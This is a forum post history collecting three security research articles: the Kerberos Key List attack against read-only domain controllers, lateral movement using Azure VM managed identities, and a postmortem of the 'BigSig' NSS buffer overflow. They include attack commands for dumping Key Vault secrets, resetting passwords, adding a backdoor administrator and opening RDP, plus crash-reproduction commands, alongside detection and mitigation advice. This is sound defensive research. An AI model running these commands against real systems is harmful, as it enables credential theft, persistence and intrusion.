-
Posts
18750 -
Joined
-
Last visited
-
Days Won
721
Everything posted by Nytro
-
The Kerberos Key List Attack: The return of the Read Only Domain Controllers Leandro Cuozzo Security Researcher at SecureAuth @0xdeaddood Some time ago Microsoft released a very cool feature that caught our attention. That was a passwordless authentication functionality that provides seamless single sign-on (SSO) to on-premises resources, using security keys such as the famous FIDO2 keys. So, the idea was simple, you could sign-in to your hybrid Azure AD-joined Windows 10 device and automatically access both cloud and on-premises resources. The FIDO2 security key became the access key to the two kingdoms. SSO everywhere, and no passwords needed. The holy grail. Microsoft had previously released the same functionality only for Azure AD-joined devices, but now the scope has been expanded to Hybrid environments. How did they do it? How does it work? Kerberos are you there? What we found was even better: a new credential gathering attack vector involving Read Only Domain Controllers servers! Let’s take a look at all the way from researching new functionality to implementing a new attack on Impacket. The passwordless experience in Azure Let’s start from the beginning. As I mentioned before, Microsoft expanded the passwordless experience to on-premises resources with Azure Active Directory. But what does it mean? At first glance, since we’re talking about SSO capabilities to on-premises resources, we should also talk about Kerberos. Kerberos is the main authentication protocol that is used to verify the identity of a security principal (a user or a host) in a Windows domain. It’s based on symmetric cryptography (shared secrets) and uses the concept of tickets to validates those identities. Roughly speaking, Kerberos issues two kind of tickets, a Ticket Granting Ticket (TGT) that validates the identity of a principal, and a Service Ticket used by the principal to authenticates against other services in the domain. Let’s suppose I want to access to Service 1 that runs in the Server A. An authentication flow would be as follows: Figure 1. Kerberos Authentication Pretty clear, isn’t it? Well, let’s make things a little more complicated. Let’s move this situation to the hybrid world. An authentication flow with security keys would be as follows: Figure 2. Passwordless Authentication So, what do we have here? Partial TGTs trading for fully ones, and Kerberos Server keys replicated in the cloud. What is all this? Let’s start to dig into this. Up to now, only the Key Distribution Center (KDC) service, located on the Domain Controller, had the authority to issue TGTs. However, the introduction of this new passwordless experience changed things a bit: as we could see in the previous flow, Azure AD can now issue Kerberos TGTs for one or more domains! This brought to my mind another question, what about the krbtgt account? The security principal used by the KDC in any domain is the krbtgt account. This is a special account that can’t be deleted, nor can the name be changed, and its password is used to derive a cryptographic key for encrypting the TGTs that the KDC issues. For obvious reasons, this account doesn’t leave the AD server. So, how can Azure AD issue TGTs without this special account? This is where the figure of the Azure AD Kerberos server object appears. Figure 3: Kerberos Server Object Properties An Azure AD Kerberos Server is an object created in the on-premises AD that is replicated in Azure AD and not associated with any physical servers (it’s virtual). It’s composed by a disabled user account object that follows the naming format “krbtgt_######” and an associated computer account “AzureADKerberos”. Doesn’t this sound familiar? This object is used by Azure AD to generate the partial TGTs for the domain. How? Well, the user account holds the Azure AD Kerberos Server TGT encryption key. This is the Kerberos Server key used in the second step of the authentication flow to encrypt the partial ticket. Half the problem solved. The krbtgt key of our domain doesn’t need to be published to the cloud, instead of that, the key of this new krbtgt_###### account will be used. So, Azure can now issue tickets but, what about Service Tickets and Authorization? Service Tickets and authorization continue to be controlled by on-premises AD domain controllers. Azure AD doesn’t have all needed information to include the Privileged Attribute Certificate (PAC) into the tickets, that’s the reason why it only issues partial tickets. How does the flow continue? Once we obtain the partial ticket, we have to trade it (against an on-prem AD) for a fully one that will include all the authorization information needed, and finally, use it to request the different Service Tickets to access the on-premises resources. With that, we obtain the Kerberos SSO capabilities and the passwordless experience is completed. At this point, just one question remained, what is this Kerberos Server object really? (Why our on-premises AD trust in its the key?) And the answer was very easy to obtain just by seeing the properties of the machine account related to the object: Figure 4: Computer Properties We’re talking about a Read-Only Domain Controller (RODC). Microsoft reuses the concept of RODC to implement a “cloud” version of Kerberos that allows Azure AD to offer SSO capabilities. I told you that there was something that sounded familiar to me. Remember Read Only Domain Controllers? Before continuing, it’s important to review some basic concepts about RODC. If anyone wants to learn more about it, I totally recommend this great article from Sean Metcalf. In a few words, a RODC is a type of domain controller that hosts read-only partitions of the Active Directory database. Except for account passwords, it holds all the AD objects and attributes that a writable domain controller holds. However, changes cannot be made to the database that is stored on the RODC. It’s designed primarily to be deployed in remote or branch office environments, which typically have relatively few users, poor physical security, or poor network bandwidth to a hub site. The main concept that I want to review, and that will be very useful in what comes, is the credential caching. As I mentioned before, the account passwords aren’t saved into the RODC by default (for security purposes), so the authentication process in a branch site is a little bit different: First, the user sends a TGT request to the RODC of their site. The RODC server checks if the user credential is cached: If not, the RODC forwards the request to a writable DC (continues to 3) If the credentials are cached, the authentication is resolved by the RODC (finishes here) The writable DC authenticates the user, signs a TGT, and sends the response back to the RODC. The RODC will check if the user if allowed to cache their credentials: If the user is included in the Allowed RODC Password Replication, their credentials are stored in the server, and the msDS-RevealedList attribute of the RODC is populated with the username. Subsequent authentication requests will be managed by the RODC. If the user is included in the Denied RODC Password Replication, their credentials won’t be stored, and subsequent authentication requests will be forwarded to a writable DC. Finally, the RODC forwards the TGT to the user which can use it to request Service Tickets. So, the caching is useful to ensure users and computers can authenticate to RODC when a writable DC is inaccessible and RODC can’t forward requests to it. However, this could be a double-edged sword. The reason why there are no cached credentials is to prevent the entire domain from being put at risk when a RODC server is compromised. As we saw, these branch sites have a lower level of security. So, the main idea behind the credential cache is just to keep the minimum number of passwords needed to operate on the site. Let’s keep this in mind for the future. Legacy protocols for the win Going back to the passwordless scenario, we saw how Microsoft supports SSO to on-premises resources in hybrid environments using Kerberos. However, what happened with the access to resources that use legacy protocols like NTLM? Yes, we can’t easily get rid of legacy protocols. The easy way to start analyzing this situation was inspect a Wireshark capture of a passwordless authentication. The part of the authentication that we were most interested in analyzing was steps 4 and 5 of Figure 2, the exchange between partial and full tickets. The fully TGT is obtained via a TGS-REQ (packet n°577) to the KDC (krbtgt service): The TGS-REQ included two pre-authentication data (PA-DATA). The PA-TGS-REQ with the partial TGT and an unknown PA-DATA type number 161. An unknown type is a clear sign that something is happening there. If Wireshark didn’t have that data type defined, it’s because that data is relatively new. So, the first thing to do was to review the [MS-KILE]: Kerberos Protocol Extensions, and check this PA-DATA type. First result to come was a new type of TGS-REQ: 3.3.5.7.8 Key List Request When a Key Distribution Center (KDC) receives a TGS-REQ message for the krbtgt service name (sname) containing a KERB-KEY-LIST-REQ [161] padata type the KDC SHOULD include the long-term secrets of the client for the requested encryption types in the KERB-KEY-LIST-REP [162] response message and insert it into the encrypted-pa-data of the EncKDCRepPart structure, as defined in [RFC6806]. The mention of long-term secrets made me think I was on the right track. And it was! Bingo! 2.2.11 KERB-KEY-LIST-REQ The KERB-KEY-LIST-REQ structure is used to request a list of key types the KDC can supply to the client to support single sign-on capabilities in legacy protocols. Its structure is defined using ASN.1 notation. The syntax is as follows: KERB-KEY-LIST-REQ ::= SEQUENCE OF Int32 — encryption type — The structure of the KERB-KEY-LIST-REQ is used to support SSO capabilities with legacy protocols. It only remained to check what type of encryption was requested and what was the response. Going back to the capture: The content of the PA-DATA was the encoded value of 3003020117, that represented the encryption type 23 or RC4-HMAC. Yes, we were requesting the user’s NT Hash! After confirmed that, I started reviewing the response (packet n°583): Inside the encrypted part of the TGS-REP (decrypted with the session key) we could find the PA-DATA type 162, the KERB-KEY-LIST-REP: Going back to the MS-KILE, I checked the encoding of the structure to decode data and get the key: 2.2.12 KERB-KEY-LIST-REP The KERB-KEY-LIST-REP structure contains a list of key types the KDC has supplied to the client to support single sign-on capabilities in legacy protocols. Its structure is defined using ASN.1 notation. The syntax is as follows: KERB-KEY-LIST-REP ::= SEQUENCE OF EncryptionKey The encoded PA-DATA was decoded into: The user is now able to use its NT-Hash to authenticate with NTLM. SSO in legacy protocols! The Key List attack Bingo! We found the way Windows implements SSO with legacy protocols. After checking that, the team’s reaction was immediate, we also found a new potential way to dump credentials with lower requirements! The idea behind this new technique is simple. If we were able to reproduce the previous TGS-REQ with the new PA-DATA, we would have the list of all long-term secrets of the user. So, the first attempt was to replicate the TGS-REQ to the krbtgt service adding the KERB-KEY-LIST-REQ structure with a regular user. That means that the TGT included was issued to this regular user by the KDC, something easy to obtain without needing to know the krbtgt credentials. The response was a normal TGS-REP with no new data (no KERB-KEY-LIST-REP was included). No problem let’s escalate. The second attempt was a new TGS-REQ of an administrator user. The same process as before, and the same result, no keys in the answer. The idea wasn’t so straightforward. If the process works for RODC, let’s try including a partial TGT signed by this server into the TGS-REQ. And here we have the answer. Replicate a partial TGT signed by a RODC and issued to a particular user, include it into a TGS-REQ, decrypt the response and get the key. Repeat to whatever user we want. After a couple of attempts, I noticed that some users obtained the error: KDC_ERR_TGT_REVOKED (TGT has been revoked). Why? Those users were included in the group Denied RODC Password Replication, and consequently, have this new Kerberos function restricted. Users such as Administrators are denied replicating their passwords by default. Here we remember the importance of managing the password replication permissions that we talked about in the RODC section. The good news, we can attack both physical RODC servers and virtual ones (the Azure AD Kerberos Server object is included in our attack surface!). And something no less important, the targets users don’t need to be cached in the RODC! Something that was needed in previous attacks against this kind of Domain Controllers. So, what are the requirements? In summary: We must know the krbtgt credentials of the RODC (-rodcKey) because we need to create a partial ticket and a TGS-REQ with some special conditions. We have several ways to get those credentials, for instance, if we obtain local admin to the RODC, we can dump the SAM database with Mimikatz. If we’re talking about virtual RODC, we can target the Azure AD Connect Server. We must have the ID of the krbtgt account of the RODC (-rodcNo). Not big deal. We must target users that aren’t explicitly detailed in Denied group. With these requirements in place, I opened a PR that includes a new example script (keylistattack.py) and a new option (-use-keylist) in secretsdump.py to demonstrate the attack. Basically, the attack has two main parts: the user listing and the ticket requesting: First, we need to know what our target is. We can define the target by parameter (LIST option) defining a target username (-t flag) or defining a file with a list of target usernames (-tf flag), or we can do an enumeration (for instance, a SAMR user enumeration). For the last option, we need a low credential user, and we have two options. The default option, that filter the domain users included in the Denied group, and the full one (-full flag), that hit everybody! Once we know who to attack, we request the ticket, process the response, and get the keys! Figure 5. keylistattack.py using SAMR user enumeration without filtering (-full flag) Figure 6. keylistattack.py using SAMR user enumeration and filtering (attack by default) Figure 7. keylistattack.py defining a target username (-t flag) Figure 8. secretsdump.py using the Kerberos Key List Attack option (-use-keylist) How to detect this ? Presented the new attack, how can we detect it? As the attack implements a valid Key List request that could be present in the normal operation of an environment with passwordless enabled, the options aren’t many: Audit the enumeration operations: SAMR enumeration: Event 4661 – A handle to an object was requested (Object Type: SAM_DOMAIN, SAM_ALIAS, SAM_GROUP). LDAP enumeration Audit the Kerberos Service Ticket Operations: Success requests: Event 4769 – A Kerberos service ticket was requested (Ticket Options: 0x10000 – Proxiable) TGT revoked: Event 4769 – A Kerberos service ticket was requested (Failure Code: 0x14 – KDC_ERR_TGT_REVOKED) How to mitigate this attack? Physical RODCs: Don’t add “Authenticated Users” or “Domain Users” to the “Allowed RODC Password Replication Group”. If it is required, those RODCs should be protected in a similar level to a writable DC (tier 0). Add all privileged accounts and groups to the “Denied RODC Password Replication Group”. Don’t set regular user accounts as RODC administrators. These kinds of accounts are usually less secure than high-profile accounts, and their compromised could lead to the credential dumping of local accounts (including the krbtgt account of the RODC). Virtual RODCs (Azure AD Kerberos Server/Passwordless scenario): Make sure to add only users with passwordless capabilities to the “Allowed RODC Password Replication Group”. The Azure AD Connect server contains critical identity data and should be treated as a Tier 0. Conclusions Both physical and virtual RODCs can be attacked. The attack surface in virtual RODCs is more extensive due to the required replication permissions. The accounts to attack don’t need to be cached on the RODC. No administrator credentials are needed, and if you have a list of users, you don’t even need credentials. The attack requires that there is at least one DC server with the updated versions of Windows 2016/2019 (patches kb4534307 and kb4534321 respectively). Resources https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-authentication-passwordless-security-key-on-premises https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/cc754218(v=ws.10) https://adsecurity.org/?p=3592 Sursa: https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/a
-
Lateral Movement With Managed Identities Of Azure Virtual Machines Posted on November 30, 2021 by m365guy One comment This blog post will cover details around Managed Identities in Azure VMs. During this blog post, we are trying to get a few questions answered, which goes from what Managed Identities are, why people are using them, and if we could abuse them to move laterally, etc. This blog post will be focusing on Managed Identities of Azure Virtual Machines, but more related blog posts will come soon. What are Managed Identities? Managed Identity is a Service Principal of a special type that may only be used with Azure resources. It provides an identity to an application to use when connecting to a resource that supports Azure AD authentication. Managed Identities can help developers to eliminate credentials, because they don’t have to manage it anymore. We’ll go more into the details later in this blog post. Microsoft provides a great use-case in this documentation. Where they are explaining that applications may be using Managed Identities to access Azure Key Vaults, which developers can use to store credentials. An other example that was mentioned, was accessing storage accounts. Let’s say that we want our Managed Identity of our Azure VM to access an Azure Key Vault. The only thing we have to do is assign it the correct RBAC role, so if we are accessing an Azure Key Vault with a Managed Identity. It will receive a token from the Instance Metadata Service, to access it. We do not have to specify any credentials, because the Instance Metadata Services will notice the Managed Identity, that is attached with our Azure VM. This is a central backend service that is running on Azure VMs. Here we have a high-level architecture of how the Instance Metadata Services work. Types of Managed Identities There are two types of Managed Identities, which are System-Assigned and User-Assigned. There is not much of a big difference, except for one thing. Once you enable a System-Assigned Managed Identity to an Azure resource. The Managed Identity will automatically be assigned, and will also get deleted. If the Azure resource has been deleted. In other words, the lifecycle of a System-Assigned Managed Identity is tied to the lifecycle of an Azure resource. User-Assigned Managed Identity is created manually and is also manually assigned to an Azure resource. The lifecycle is not tied to an Azure resource, so once a resource has been deleted. The User-Assigned Managed Identity won’t be deleted. User-Assigned managed identities can be used on multiple resources. System-Assigned Managed Identity The first example will be using a System-Assigned Managed Identity of an Azure Virtual Machine. We will be creating an Ubuntu VM in the ‘Demo’ resource group, which includes a Managed Identity. We can recognize that a Managed Identity is being enabled, since we’re specifying the –assign-identity parameter in the CLI. An other thing, we can see as well is, that we have specified the –generate-ssh-keys parameter. This will generate public and private SSH keys. Last, but not least. We have specified a scope and the role that the Managed Identity will get. During this example, we have assigned the System-Assigned Managed Identity, the Contributor role. az vm create --resource-group Demo --size Standard_B2s --name LinuxVM --image UbuntuLTS --admin-username azureuser --generate-ssh-keys --assign-identity --location westeurope --scope "subscriptions/1ae3c5a8-9a9b-40bc-8d90-31710985b9ef/resourceGroups/Demo" --role Contributor At the result, we can see that we have successfully created a new Azure VM with a Managed Identity. The second thing, we are going to do is configure an extension on this VM. This will allow us to do software installation, etc. The reason that we are doing this is, because we want to install the Azure CLI on the VM. az vm extension set --resource-group Demo --vm-name LinuxVM --name customscript --publisher Microsoft.Azure.Extensions Now we can use SSH to connect to our Azure VM. ssh azureuser@20.107.21.140 We have now logged in to our Azure VM, and we also have installed the extension. This allows us now to download the Azure CLI. curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash The final step is to login as the Managed Identity with the Azure CLI. As you can see, we didn’t need to specify any credential. az login --identity User-Assigned Managed Identity As discussed before, User-Assigned managed identities can be used on multiple resources, since the lifecycle is not tied to one. In order to use User-Assigned Managed Identity, we have to create one first. az identity create -g Demo -n myUserAssignedIdentity --location westEurope Now we are going to create a new Azure VM, but during this time. We will be assigning a User-Assigned managed identity. This will be a Windows VM this case. At the CLI, we have specified at the –assigned-identity parameter to assign an User-Assigned Managed Identity. az vm create --name WindowsVM --resource-group Demo --image Win2019Datacenter --location westeurope --admin-username Testing --admin-password DontHackMeBro123! --size Standard_B2s --storage-account sturageacc0unt07 --use-unmanaged-disk --assign-identity /subscriptions/1ae3c5a8-9a9b-40bc-8d90-31710985b9ef/resourceGroups/Demo/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myUserAssignedIdentity The Virtual Machine has been created, so we can now RDP into this machine and install the Azure CLI. Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows -OutFile .\AzureCLI.msi; Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet' We might encounter the following problem, which can be easily resolved. This error might occur if we did not assign the correct RBAC role. Now we have to assign an RBAC role to our User-Assigned Managed Identity. In this example, we will be assigning the Contributor role. az role assignment create --assignee 7055e551-2f6e-45a3-a64f-30941957fd88 --role Contributor --scope /subscriptions/1ae3c5a8-9a9b-40bc-8d90-31710985b9ef/resourceGroups/Demo/providers/Microsoft.Compute/virtualMachines/WindowsVM We have now assigned this Managed Identity to the Contributor role. Once we now login to the Azure VM, we can login as the User-Assigned Managed Identity. az login --identity -u 7055e551-2f6e-45a3-a64f-30941957fd88 Lateral Movement with Managed Identities Managed Identities can be used to access Azure Key Vaults and storage accounts, which we discussed at the beginning of this blog post. This is an example of a configuration that I have seen in a real environment. Keep in mind that accessing these resources can only be achieved, once the correct RBAC or directory role has been assigned. NOTE: Yes, in the previous sections, I’ve used the Contributor role as an example. Now I will use the Owner role as an example. We have a Managed Identity (LinuxVM) with Owner rights. This RBAC role has been assigned on the resource group itself, which will inherit down to all the other resources within the same group. Let’s assume that we have compromised this Linux VM, and decided to SSH to this machine. ssh azureuser@20.107.21.140 The second thing we have to do is login as the Managed Identity. Once we have logged in, we can start moving laterally across different resources in the Cloud environment. az login --identity Azure Key Vault This section will cover how we can move laterally from our compromised Linux host to an Azure Key Vault and list the secrets. Once we have logged in, we can start enumerating Azure Key Vaults. This can be done with the following command: az keyvault list We have discovered an Azure Key Vault and we want to list the secrets. In order to do so, we can run the following command: az keyvault secret list --vault-name mysecretkeyvault01 Despite that we have Owner rights, we got an error that we do not have the permission to list the secrets. Since we have Owners right on the Resource group, which will inherit down on all the resources within the same group. We can modify an access policy of an Azure Key Vault and grant ourselves the permission. az keyvault set-policy -n mysecretkeyvault01 --secret-permissions get list --object-id ae46b8fd-6070-49c1-be69-300c771a97f0 If we are now trying to list all the secrets of an Azure Key Vault. It will now work. az keyvault secret list --vault-name mysecretkeyvault01 The last step is to obtain a secret from the Key Vault. az keyvault secret show --id https://mysecretkeyvault01.vault.azure.net/secrets/1753b4a6-9372-4c40-b395-74578b1dc3b0 Azure Storage Account This section will cover how we can access a storage account from our compromised Linux host. An Azure storage account contains all of your Azure Storage data objects: blobs, file shares, queues, tables, and disks. Organizations are often using storage accounts to store tons of data, which makes it just like Key Vaults. An interesting target to poke around with. The first thing, we are going to do is listening all the storage accounts. az storage account list At the result, we can see an storage account that we are primary interested in. The second thing we are going to do is to reviewing all the access keys. Obtaining an access key in a storage account allows you to have full access to everything. az storage account keys list -g Demo -n newstorageaccount003 This allows us to connect to the storage account and can be done with Azure Storage Explorer. Moving laterally to Linux machine This is now the most relevant part of this blog post, because we are going to explain how to move laterally from machine to machine within the same resource group. First, we need to enumerate all the VMs in our resource group. az vm list -g Demo --output table At the result, we can see that we are currently logged in on the LinuxVM machine. The second thing, we can do is install an VM extension that allows us to do software installation on the target machine. This is not necessary required, but in our example we will do it anyways. az vm extension set --resource-group Demo --vm-name LinuxVM02 --name customscript --publisher Microsoft.Azure.Extensions Azure Virtual Machines have a feature that is known as the ‘Run’ Command, which allows you to run commands as SYSTEM or root. We are now going to attempt to move laterally against the LinuxVM02 machine. Before, we are going to do that. We are first enumerating all the users on the target machine. az vm run-command invoke -g Demo -n LinuxVM02 --command-id RunShellScript --scripts "getent passwd | awk -F: '{ print $1}'" At the result, it will return all the users. This will include both the normal and system users. Generally, a normal user has UID greater or equal to 1000. If we look closely, there is an account called ‘testaccount’ that has 1000:1000. The next command will enumerate the group membership of the testaccount. az vm run-command invoke -g Demo -n LinuxVM02 --command-id RunShellScript --scripts "groups testaccount" Now we are going to reset the password of the testaccount, which we will be using to connect against the remote machine. az vm user update -u testaccount -p WeakPassw0rd! -n LinuxVM02 -g Demo The final part is to login with the account to the remote host via SSH. ssh testaccount@20.107.93.40 The final step is to verify that we have access to the targeted machine. hostname Moving laterally to Windows machine We are now moving laterally from the compromised Linux machine to a Windows machine within the same resource group. In this example, the first thing we are going to do is enumerate the Network Security Groups that are applied on that machine. az network nsg list --output table At the result, we can see the NSG rules are applied on the specific Azure Virtual Machines. We can see that RDP is open in this example. However, in most cases. Management ports are often closed from accessing it via the internet, but it is good to verify this by enumerating the NSG rules. We are now going to leverage the ‘Run’ Command feature just like we did before. This command will enumerate all the local users on a machine. az vm run-command invoke --command-id RunPowerShellScript --name WindowsVM -g Demo --script "net user" At the result, it will return all the local users on the machine. At this part, we are going to create a new local user to remain persistent on the machine. az vm run-command invoke --command-id RunPowerShellScript --name WindowsVM -g Demo --script "net user evilbackdoor Passw0rd! /add" Now we are going to add this user to the local Administrators group. az vm run-command invoke --command-id RunPowerShellScript --name WindowsVM -g Demo --script "net localgroup Administrators evilbackdoor /add" If RDP has been closed from being exposed on the internet, we can still create an RDP rule to allow incoming connections to the targeted machine. az network nsg rule create -g Demo --nsg-name WindowsVMNSG -n OpenRDPForMePlease --source-address-prefixes 208.130.28.0/24 --access Allow --priority 1001 --destination-port-ranges 3389 What is the problem? The root cause of this problem is due to poor delegation. Delegating permissions on the Subscription or Resource group level is not recommended, because the permissions will inherit down to all the resources within the same group or subscription. Especially when sensitive RBAC roles are assigned with the likes of Owners, Contributor, User Access Administrator, and so on. This is an example of a poor practice. We have a Managed Identity, which is basically just another Service Principal. It has Owner permission on the Resource Group. This will allow this Managed Identity to be able to have full control over all the resources that is in the group. Exporting RBAC Roles RBAC roles controls who has what kind of access and rights to an Azure resource. We are going to use the PowerShell script of Microsoft’s MVP (Morten Pedholt) and export all the RBAC roles on every subscription. Wrong delegated permissions on the subscription level or resource group will inherit down on resources, such as VMs. Reviewing such kind of permissions can be helpful to identify wrong delegated permissions. .\Export-RoleAssignments.ps1 -OutputPath C:\temp #Parameters Param ( [Parameter(Mandatory=$false)] [string]$OutputPath = '', [Parameter(Mandatory=$false)] [Switch]$SelectCurrentSubscription ) #Get Current Context $CurrentContext = Get-AzContext #Get Azure Subscriptions if ($SelectCurrentSubscription) { #Only selection current subscription Write-Verbose "Only running for selected subscription $($CurrentContext.Subscription.Name)" -Verbose $Subscriptions = Get-AzSubscription -SubscriptionId $CurrentContext.Subscription.Id -TenantId $CurrentContext.Tenant.Id }else { Write-Verbose "Running for all subscriptions in tenant" -Verbose $Subscriptions = Get-AzSubscription -TenantId $CurrentContext.Tenant.Id } #Get Role roles in foreach loop $report = @() foreach ($Subscription in $Subscriptions) { #Choose subscription Write-Verbose "Changing to Subscription $($Subscription.Name)" -Verbose $Context = Set-AzContext -TenantId $Subscription.TenantId -SubscriptionId $Subscription.Id -Force $Name = $Subscription.Name $TenantId = $Subscription.TenantId $SubId = $Subscription.SubscriptionId #Getting information about Role Assignments for choosen subscription Write-Verbose "Getting information about Role Assignments..." -Verbose $roles = Get-AzRoleAssignment | Select-Object RoleDefinitionName,DisplayName,SignInName,ObjectId,ObjectType,Scope, @{name="TenantId";expression = {$TenantId}},@{name="SubscriptionName";expression = {$Name}},@{name="SubscriptionId";expression = {$SubId}} foreach ($role in $roles){ # $DisplayName = $role.DisplayName $SignInName = $role.SignInName $ObjectType = $role.ObjectType $RoleDefinitionName = $role.RoleDefinitionName $AssignmentScope = $role.Scope $SubscriptionName = $Context.Subscription.Name $SubscriptionID = $Context.Subscription.SubscriptionId #Check for Custom Role $CheckForCustomRole = Get-AzRoleDefinition -Name $RoleDefinitionName $CustomRole = $CheckForCustomRole.IsCustom #New PSObject $obj = New-Object -TypeName PSObject $obj | Add-Member -MemberType NoteProperty -Name SubscriptionName -value $SubscriptionName $obj | Add-Member -MemberType NoteProperty -Name SubscriptionID -value $SubscriptionID $obj | Add-Member -MemberType NoteProperty -Name DisplayName -Value $DisplayName $obj | Add-Member -MemberType NoteProperty -Name SignInName -Value $SignInName $obj | Add-Member -MemberType NoteProperty -Name ObjectType -value $ObjectType $obj | Add-Member -MemberType NoteProperty -Name RoleDefinitionName -value $RoleDefinitionName $obj | Add-Member -MemberType NoteProperty -Name CustomRole -value $CustomRole $obj | Add-Member -MemberType NoteProperty -Name AssignmentScope -value $AssignmentScope $Report += $obj } } if ($OutputPath) { #Export to CSV file Write-Verbose "Exporting CSV file to $OutputPath" -Verbose $Report | Export-Csv $OutputPath\RoleExport-$(Get-Date -Format "yyyy-MM-dd").csv }else { $Report } At the sample result, we can see all the different users with the assigned RBAC role on a certain resource. It is a best practice to review these permissions. The following roles should be closely reviewed: Owner Contributor User Access Administrator Virtual Machine Contributor Virtual Machine Administrator Avere Contributor Do NOT expose SSH Private Keys If you use the Azure CLI to create a VM with the az vm create command, you can optionally generate SSH public and private key files using the –generate-ssh-keys option. The key files are by default, stored in the ~/.ssh directory, and allows you to login without entering a password, but by using the SSH private key. However, the problem is. Once you are doing this, it will store those Key files in the .ssh directory. This means that everyone who can access it, could use that SSH private key to connect to an Azure VM. As you can see here, we don’t have to specify any password. Since we already have the SSH Private Key. Final Recommendations Do not expose management ports to the internet Try to limit assigning permissions on the Azure Subscription or Resource Group level Review RBAC roles that have been delegated with the Export-Assignments.ps1 script Be careful with generating optional SSH private keys when creating an Azure Virtual Machine with the CLI Reference What are managed identities for Azure resources?: https://docs.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview Azure Instance Metadata Service (Windows): https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows Export role assignments for all Azure subscriptions: https://www.pedholtlab.com/export-role-assignments-for-all-azure-subscriptions/ Sursa: https://m365internals.com/2021/11/30/lateral-movement-with-managed-identities-of-azure-virtual-machines/a
-
This shouldn't have happened: A vulnerability postmortem Posted by Tavis Ormandy, Project Zero Introduction This is an unusual blog post. I normally write posts to highlight some hidden attack surface or interesting complex vulnerability class. This time, I want to talk about a vulnerability that is neither of those things. The striking thing about this vulnerability is just how simple it is. This should have been caught earlier, and I want to explore why that didn’t happen. In 2021, all good bugs need a catchy name, so I’m calling this one “BigSig”. First, let’s take a look at the bug, I’ll explain how I found it and then try to understand why we missed it for so long. Analysis Network Security Services (NSS) is Mozilla's widely used, cross-platform cryptography library. When you verify an ASN.1 encoded digital signature, NSS will create a VFYContext structure to store the necessary data. This includes things like the public key, the hash algorithm, and the signature itself. struct VFYContextStr { SECOidTag hashAlg; /* the hash algorithm */ SECKEYPublicKey *key; union { unsigned char buffer[1]; unsigned char dsasig[DSA_MAX_SIGNATURE_LEN]; unsigned char ecdsasig[2 * MAX_ECKEY_LEN]; unsigned char rsasig[(RSA_MAX_MODULUS_BITS + 7) / 8]; } u; unsigned int pkcs1RSADigestInfoLen; unsigned char *pkcs1RSADigestInfo; void *wincx; void *hashcx; const SECHashObject *hashobj; SECOidTag encAlg; /* enc alg */ PRBool hasSignature; SECItem *params; }; Fig 1. The VFYContext structure from NSS. The maximum size signature that this structure can handle is whatever the largest union member is, in this case that’s RSA at 2048 bytes. That’s 16384 bits, large enough to accommodate signatures from even the most ridiculously oversized keys. Okay, but what happens if you just....make a signature that’s bigger than that? Well, it turns out the answer is memory corruption. Yes, really. The untrusted signature is simply copied into this fixed-sized buffer, overwriting adjacent members with arbitrary attacker-controlled data. The bug is simple to reproduce and affects multiple algorithms. The easiest to demonstrate is RSA-PSS. In fact, just these three commands work: # We need 16384 bits to fill the buffer, then 32 + 64 + 64 + 64 bits to overflow to hashobj, # which contains function pointers (bigger would work too, but takes longer to generate). $ openssl genpkey -algorithm rsa-pss -pkeyopt rsa_keygen_bits:$((16384 + 32 + 64 + 64 + 64)) -pkeyopt rsa_keygen_primes:5 -out bigsig.key # Generate a self-signed certificate from that key $ openssl req -x509 -new -key bigsig.key -subj "/CN=BigSig" -sha256 -out bigsig.cer # Verify it with NSS... $ vfychain -a bigsig.cer Segmentation fault Fig 2. Reproducing the BigSig vulnerability in three easy commands. The actual code that does the corruption varies based on the algorithm; here is the code for RSA-PSS. The bug is that there is simply no bounds checking at all; sig and key are arbitrary-length, attacker-controlled blobs, and cx->u is a fixed-size buffer. case rsaPssKey: sigLen = SECKEY_SignatureLen(key); if (sigLen == 0) { /* error set by SECKEY_SignatureLen */ rv = SECFailure; break; } if (sig->len != sigLen) { PORT_SetError(SEC_ERROR_BAD_SIGNATURE); rv = SECFailure; break; } PORT_Memcpy(cx->u.buffer, sig->data, sigLen); break; Fig 3. The signature size must match the size of the key, but there are no other limitations. cx->u is a fixed-size buffer, and sig is an arbitrary-length, attacker-controlled blob. I think this vulnerability raises a few immediate questions: Was this a recent code change or regression that hadn’t been around long enough to be discovered? No, the original code was checked in with ECC support on the 17th October 2003, but wasn't exploitable until some refactoring in June 2012. In 2017, RSA-PSS support was added and made the same error. Does this bug require a long time to generate a key that triggers the bug? No, the example above generates a real key and signature, but it can just be garbage as the overflow happens before the signature check. A few kilobytes of A’s works just fine. Does reaching the vulnerable code require some complicated state that fuzzers and static analyzers would have difficulty synthesizing, like hashes or checksums? No, it has to be well-formed DER, that’s about it. Is this an uncommon code path? No, Firefox does not use this code path for RSA-PSS signatures, but the default entrypoint for certificate verification in NSS, CERT_VerifyCertificate(), is vulnerable. Is it specific to the RSA-PSS algorithm? No, it also affects DSA signatures. Is it unexploitable, or otherwise limited impact? No, the hashobj member can be clobbered. That object contains function pointers, which are used immediately. This wasn’t a process failure, the vendor did everything right. Mozilla has a mature, world-class security team. They pioneered bug bounties, invest in memory safety, fuzzing and test coverage. NSS was one of the very first projects included with oss-fuzz, it was officially supported since at least October 2014. Mozilla also fuzz NSS themselves with libFuzzer, and have contributed their own mutator collection and distilled coverage corpus. There is an extensive testsuite, and nightly ASAN builds. I'm generally skeptical of static analysis, but this seems like a simple missing bounds check that should be easy to find. Coverity has been monitoring NSS since at least December 2008, and also appears to have failed to discover this. Until 2015, Google Chrome used NSS, and maintained their own testsuite and fuzzing infrastructure independent of Mozilla. Today, Chrome platforms use BoringSSL, but the NSS port is still maintained. Did Mozilla have good test coverage for the vulnerable areas? YES. Did Mozilla/chrome/oss-fuzz have relevant inputs in their fuzz corpus? YES. Is there a mutator capable of extending ASN1_ITEMs? YES. Is this an intra-object overflow, or other form of corruption that ASAN would have difficulty detecting? NO, it's a textbook buffer overflow that ASAN can easily detect. How did I find the bug? I've been experimenting with alternative methods for measuring code coverage, to see if any have any practical use in fuzzing. The 